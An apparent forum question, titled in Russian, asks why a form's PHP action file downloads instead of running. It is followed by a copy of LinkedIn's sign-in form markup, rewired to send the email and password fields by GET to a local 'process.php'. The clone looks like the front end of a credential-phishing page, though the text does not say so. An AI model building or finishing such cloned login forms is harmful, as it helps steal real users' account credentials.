html — действие формы загружает файл php вместо его запуска

<form action="process.php" method="GET" name="login" novalidate="novalidate" id="login"  data-jsenabled="check" data-autologin="true" data-existingmembersignin="true">
<input type="hidden" name="isJsEnabled" value="false"/>
<input type="hidden" name="source_app" value=""/>
<input type="hidden" name="tryCount" id="tryCount" value=""/>
<input type="hidden" name="clickedSuggestion" id="clickedSuggestion" value="false" />

<fieldset class="field-container field-container--fixed"><legend>Sign in to LinkedIn</legend>
<div class="outer-wrapper">
<div class="inner-wrapper">
<div class="logo_container">LinkedIn</div>
<ul class="form-fields" id="mini-profile--js">
<li class="form-email ">
<div class="fieldgroup hide-label">
<label for="session_key-login" >Email address</label>
<span class="error" id="session_key-login-error"></span>
<input type="text" name="session_key" value="" id="session_key-login" placeholder="Email address" aria-describedby="session_key-login-error">
<div class="domain-suggestion hide" id="domainSuggestion">
<span>Did you mean:  <a id="suggestion" href="javascript:void(0);"></a>?</span>
</div>
</div>
</li>

<li class="form-password">
<div class="fieldgroup hide-label">
<label for="session_password-login" >Password</label>
<span class="error" id="session_password-login-error"></span>
<div class="password_wrapper">
<input type="password" id="session_password-login" class="password" name="session_password" placeholder="Password" aria-describedby="session_password-login-error"/>
</div>
</div>
</li>
<li class="button form-actions">
<div class="form-buttons">
<input type="submit" name="signin" value="Sign In" class="btn-primary" id="btn-primary">
</div>
<div class="forgot-password-container">
<a data-li-tooltip-id="login-tooltip"href="/uas/request-password-reset?session_redirect=&amp;trk=uas-login-forgot-password-text"tracking="uas-login-forgot-password-text" title="Forgot password?">Forgot password?</a>
</div>
<span>Not a member? <a href="/start/join?source=hb_signin&amp;trk=login_iframe_hb_signin">Join now</a></span>
</li>
</ul>
</div>
<div class="gaussian-blur"></div>
</div>